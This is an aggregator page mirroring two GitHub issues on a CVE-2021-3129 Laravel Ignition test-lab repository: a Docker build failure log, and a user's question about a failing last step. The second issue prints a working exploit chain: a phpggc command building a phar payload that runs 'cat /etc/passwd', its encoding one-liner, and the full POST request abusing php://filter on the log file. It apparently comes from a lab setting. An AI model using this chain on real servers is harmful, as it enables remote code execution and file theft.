Giter Club home page Giter Club logo

cve-2021-3129's Issues

Build error

How can I run it?

root@kali:/home/kali/Desktop/CVE-2021-3129# docker-compose up -d
Building with native build. Learn about native build in Compose here: https://docs.docker.com/go/compose-native-build/
Building laravel_debug_rce
Sending build context to Docker daemon  411.1kB

Step 1/6 : FROM php:7.3.25-alpine
 ---> 5b879b6b3734
Step 2/6 : COPY laravel /src
 ---> Using cache
 ---> e9eb2c7b53b0
Step 3/6 : WORKDIR /src
 ---> Using cache
 ---> d7eab59d127e
Step 4/6 : RUN cp .env.example .env     && php -r "copy('https://install.phpcomposer.com/installer', 'composer-setup.php');"    && php composer-setup.php       && php -r "unlink('composer-setup.php');"       && mv composer.phar /usr/local/bin/composer     && chmod +x /usr/local/bin/composer     && composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/      && composer install     && composer require facade/ignition==2.5.1      && mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini  && sed -i 's/;phar.readonly = On/phar.readonly = 0/g' /usr/local/etc/php/php.ini
 ---> Running in 68de553d9d16

Warning: copy(): php_network_getaddresses: getaddrinfo failed: Try again in Command line code on line 1

Warning: copy(https://install.phpcomposer.com/installer): failed to open stream: php_network_getaddresses: getaddrinfo failed: Try again in Command line code on line 1
Could not open input file: composer-setup.php
The command '/bin/sh -c cp .env.example .env    && php -r "copy('https://install.phpcomposer.com/installer', 'composer-setup.php');"    && php composer-setup.php       && php -r "unlink('composer-setup.php');"       && mv composer.phar /usr/local/bin/composer     && chmod +x /usr/local/bin/composer     && composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/      && composer install     && composer require facade/ignition==2.5.1      && mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini  && sed -i 's/;phar.readonly = On/phar.readonly = 0/g' /usr/local/etc/php/php.ini' returned a non-zero code: 1
ERROR: Service 'laravel_debug_rce' failed to build

Cannot exploit in the last step

Hi,

Thank you for your test environment. I tried to craft the payload by using

php -d "phar.readonly=0" ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

And I can decode back to phar file by using request as below

POST /_ignition/execute-solution HTTP/1.1
Host: <REDACT.COM>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 301

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log	"		
  }
}

step3

and when I check at /src/storage/logs/laravel.log , the decode request is work well.
step4

but when I tried to exploit with phar insecure deserialization in the last step.
step5

It said "SHA1 signature could not be verified: broken signature in file " and exploit unsuccess. Do you have any suggest to exploit correctly?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.